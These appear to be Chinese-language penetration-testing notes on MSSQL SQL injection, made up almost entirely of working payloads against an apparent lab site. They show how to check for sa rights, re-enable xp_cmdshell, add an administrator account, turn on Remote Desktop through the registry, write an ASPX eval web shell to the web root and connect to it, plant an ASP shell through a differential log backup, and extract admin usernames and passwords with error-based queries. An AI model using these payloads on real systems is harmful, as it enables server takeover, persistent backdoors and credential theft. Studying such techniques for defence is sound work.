要拼接一个参数
拼接这个参数?xxser=1
and exists (select * from%20sysobjects)
为真是属于mssql
and system_user=0 (由于版本问题谷歌不可以)
可以去虚拟机,爆出系统用户名
爆出的这个
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
正常就是存在sa 权限
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
正常就是存在扩展程序
恢复 EXEC sp_configure 'show advanced options', 1;RECONFIGURE sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
exec master..xp_cmdshell 'net user test test /add'
查看用户
下面的xp_cmdshell为false,直接改为true
或者 随便点一个数据库右键新建查询
select COUNT(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
exec sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
通过xp_cmdshell执行系统命令(看是否安装成功)
;exec master..xp_cmdshell 'net localgroup administrators test /add'
;execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
and 1=(SELECT IS_MEMBER('db_owner'));-- 判断当前数据库用户是否为db_owner权限
具备sa权限肯定具备db_owner权限
1、通过报 错或baidu、google等查找
2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'-- 当前库testDB
and (select result from black where id=4)>0--
master..xp_cmd
%20;exec%20master..xp_cmdshell%20'Echo%20" <%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>">>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
多了一个木马
用菜刀连接
可以正常操作
差异备份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
语句有问题
文件已存在
登录进去可以控制服务端
and db_name()=0--
%20and%200=(select%20top%201%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1